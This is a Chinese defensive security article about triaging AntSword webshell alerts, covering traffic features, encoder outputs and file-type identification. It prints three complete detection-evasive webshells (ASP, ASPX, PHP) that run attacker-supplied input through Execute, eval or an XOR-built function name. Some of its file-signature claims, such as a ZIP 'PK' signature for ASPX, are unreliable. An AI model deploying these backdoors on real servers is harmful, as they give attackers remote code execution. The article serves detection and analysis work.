九维团队-蓝队(防御)| webshell研判分析

admin 2023年6月1日23:05:05评论29 views字数 4588阅读15分17秒阅读模式

九维团队-蓝队(防御)| webshell研判分析

一、研判分析



告警设备的告警千千万万条,我们需要从中判断出究竟哪一条是误报、哪一条是真实信息,研判分析在这当中就显得格外重要。学会判断事件的真实性以及当中的危害,对工帮助有着至关重要的作用。当然,判断事件的安全类型危害程度,再补救方式也是缺一不可。


二、蚁剑webshell



市场上流行的webshell一般有四种,分别是菜刀、蚁剑、冰蝎和哥斯拉。其中剑是一款非常优秀的网站管理工具,支持在windows、Linux和Mac上正常运行,具体在此就不做过多的介绍,下面我们先了解蚁剑的流量特征开始研判。


01、流量分析


首先我们往靶场注入蚁剑木马(这里笔者使用的是phpstudy搭建的upload的靶场,利用wireshark流量捕获或者用burpsuite去代理也是可以的):

九维团队-蓝队(防御)| webshell研判分析


抓到的数据如图所示:

九维团队-蓝队(防御)| webshell研判分析

在旧版数据包里面UA头直接显示:antsword。

九维团队-蓝队(防御)| webshell研判分析

除去UA头,我们来看一下数据包的内容,default情况下URLdecode解码:

九维团队-蓝队(防御)| webshell研判分析

cmd是笔者连接的密码,我们可以看到 ini_set 、dirname、asoutput、 function_exists这些熟悉的字眼,下面我们来分析一下。

@ini_set(“display_errors”, “0”):

指临时关闭PHP的错误显示功能。


@set_time_limit(0):

指设置执行时间,为零说明永久执行直到程序结束,作用是为了防止像dir、上传文件大马时超时。


asenc函数:

简单接收参数然后直接返回。


asoutput函数:

先用ob_get_contents得到缓冲区的数据,然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭,然后把接收到的缓冲区数据输出。


$output=ob_get_contents(); :

获取缓冲区内容 

ob_end_clean(); :

清空缓冲区并关闭输出缓冲 

ob_end_flush(); :

输出全部内容到浏览器

ob_start():

指在服务器打开一个缓冲区来保存所有的输出。


try语句里面:

$_SERVER[“SCRIPT_FILENAME”]:

指获取当前执行脚本的绝对路径。 


dirname():

函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。


如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。然后把获取到的$D加上TAB赋值给$R。


再到下面的if语句: 

先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。 

假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。

假如是linux的,就直接在后面加了个 “/” 。然后又在$R后面加了个TAB。


function_exists:

顾名思义,判断函数是否定义存在。 


posix_getegid:

返回当前进程的有效组ID。


posix_getpwuid:

按用户id返回有关用户的信息。


die:

与exit函数类似,输入一条消息,退出程序。


代码参考 :

https://blog.csdn.net/weixin_39685697/article/details/111226532

*左右滑动查看更多


这是蚁剑连接后,用来执行命令的函数,我们熟悉一下。


02、加密编码器


此后,蚁剑里面也会有加密编码器:

九维团队-蓝队(防御)| webshell研判分析

我们以@ini_set为例子,使用了编码器之后的结果展示:

编码器
函数

default

@ini_set

base64

QGluaV9zZXQ=

chr

CHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116)

chr16

CHR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x76)

rot13

@vav_frg


当蚁剑使用了编码器,对我们人工第一眼辨识度肯定是下跌,但是机器的正则匹配,效果是无效的,达到免杀效果,需要的是混淆的手段。


想了解更多可以查看蚁剑的模块原代码

九维团队-蓝队(防御)| webshell研判分析


蚁剑还有一套RSA加密组合,在编码管理处,简单的操作就可以生成RSA编码器配置,公私密钥的配置也可以从网上去生成粘贴,同时还会配置一套专属RSA的webshell,当然,不做免杀处理,webshell一上传基本就会被检测出来了。

九维团队-蓝队(防御)| webshell研判分析


成功上传webs hell之后,用蚁剑的虚拟终端发送一个whoami,可以看到代码函数块被全部加密了,只剩一个原文的密码连接:

九维团队-蓝队(防御)| webshell研判分析

而且蚁剑开源了还可以自定义加解密编码器,进一步隐藏了蚁剑的流量特征,加大了设备的检测的难度,但使用起来需要openssl的配置,总的来说还是有一些限制。


03、免杀shell生成


蚁剑还有着许多有趣的插件,如生成shel、生成免杀shell、注入不死php、webshell……我们一般人有时候不会,或者懒于去制造免杀的shell代码,还是有极大的可能去一键生成免杀shell的。


接下来我们来熟悉一下一键生成免杀shell。


一键生成免杀shell的界面:

九维团队-蓝队(防御)| webshell研判分析


asp

<%<!--Function VZUR(AOOV):    AOOV = Split(AOOV,"/")    For x=0 To Ubound(AOOV)        VZUR=VZUR&Chr(AOOV(x)-233)    NextEnd FunctionEXecutE(VZUR("334/351/330/341/265/347/334/346/350/334/348/349/273/267/342/347/287/267/274"))-->%>

*左右滑动查看更多


执行函数 execute。


ASPX

<%@ Page Language="Jscript" Debug=true%><%var OKKJ='XTkBZIKUSWgjdhHNfiCDuAGRoemyOaYvEstqLwVblQpFrPcJxnzM';var AVRW=Request.Form("mr6");var JRXF=OKKJ(7) + OKKJ(15) + OKKJ(8) + OKKJ(21) + OKKJ(16) + OKKJ(25);eval(AVRW, JRXF);%>

*左右滑动查看更多


执行函数 eval。


PHP

<?php class COVP {     function yrqL() {        $lVyy = "xef" ^ "x8e";        $KRzv = "x8c" ^ "xff";        $oZPD = "xb1" ^ "xc2";        $vLxU = "x95" ^ "xf0";        $NFjs = "xc2" ^ "xb0";        $Ijru = "xc" ^ "x78";        $HakK =$lVyy.$KRzv.$oZPD.$vLxU.$NFjs.$Ijru;        return $HakK;    }    function __destruct(){        $CHIA=$this->yrqL();        @$CHIA($this->Gt);    }}$covp = new COVP();@$covp->Gt = isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

*左右滑动查看更多


无明显函数特征,但生成代码语句样式一致,研判人员可按参照代码样式研判。

三、文件识别



除了一些细致的流量特征,我们也可以看大致的文件识别。


01、定义


文件识别是指通过一定的方法或技术对文件的格式、类型、内容等进行判断和识别的过程。在平常的渗透测试中,我们需要上传脚本语言让服务器或者浏览器去解析。


在上文中介绍免杀shell生成的时候,我们已经看到了一些脚本语言的扩展名。例如,asp、aspx、php等。


蚁剑上还有很多,我们来看看。

九维团队-蓝队(防御)| webshell研判分析

在计算机系统中,文件是作为数据存储的载体,存储着各种类型的数据。不同的文件类型需要使用不同的读取方式和工具来处理,因此文件识别对于计算机系统的正常工作和数据处理是非常重要的。

02、分类


文件识别可以按照不同的特征进行分类,通常可以分为以下几种:


  1. 基于扩展名的文件识别:文件在保存时通常都有一个扩展名,通过扩展名可以初步判断文件类型。例如 .txt 表示文本文件、.jpg 表示图片文件、.mp3 表示音频文件等等。

  2. 基于魔数的文件识别:每个文件的开头几个字节被称为"魔数"(Magic Number)。针对不同的文件类型,其开始的几个字节指定了特定的二进制值,这种值被称为魔数。通过解读魔数可以准确地判断文件类型。例如PNG文件的魔数为89 50 4E 47 0D 0A 1A 0A,JPEG文件的魔数为FF D8 FF E0等等。

  3. 基于文件类型的签名的文件识别:各个文件类型都有一个独特的signature,也称为magic number或magic string,用于识别文件类型。signature可能在文件开头的不同位置,或者通过特定的算法来计算得出。例如MS Word文件的signature为 D0 CF 11 E0 A1 B1 1A E1等等。通过读取文件一定量的字节来比对signature来判断文件类型。

下面我们来认识一下蚁剑上的脚本文件。


  1. ASP文件:ASP文件是纯文本文件,没有特定的文件头和Signature。在文件开头的标签(如“<%@”、“<%”等)中可以识别该文件类型是ASP文件。

  2. ASPX文件:ASP.NET的文件头为“<%@ Page”或“<%@ Control”。文件Signature为“PK”,其实就是 ZIP格式的文件头,因为ASP.NET的编译后的页面是用 ZIP格式打包的。

  3. PHP文件:PHP文件的文件头为“<?php”,文件Signature为“<?php”,该标志告诉Web服务器该文件包含PHP代码。

  4. PHP4文件:PHP4文件的文件头为“<?”,文件Signature为“<?”,相当于PHP的一个较早的版本。

  5. JSP文件:JSP文件的文件头为“<%@”,文件Signature为“<%@”。

  6. JSPJS文件:JSPJS文件是JS编写的JSP文件,文件头为“<%@”, 文件Signature为“<%@”。

  7. CMD/Linux文件:CMD或Linux文件的文件头为“#!”,Signature为“#!”。该标志告诉操作系统后面的内容是可执行脚本。

  8. Custom文件:Custom文件没有固定的文件头和Signature,开发人员可以根据实际需要设置特定的文件头和Signature。

需要注意的是,在Web应用程序中,文件头和Signature仅用于标识文件类型的信息,没有安全性可言。因此,任何人都可以更改文件头和Signature,从而欺骗Web服务器。


四、小结



蚁剑的流量伴随着攻防的发展而变得越来越隐蔽,研判的难度也随之水涨船高,防守方的人员需要不断地学习和探索,去了解旧事物的发展和新事物的诞生,才可以做到准确无误的判断。



往期回顾

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

九维团队-蓝队(防御)| webshell研判分析

原文始发于微信公众号(安恒信息安全服务):九维团队-蓝队(防御)| webshell研判分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月1日23:05:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-蓝队(防御)| webshell研判分析https://cn-sec.com/archives/1778593.html

发表评论

匿名网友 填写信息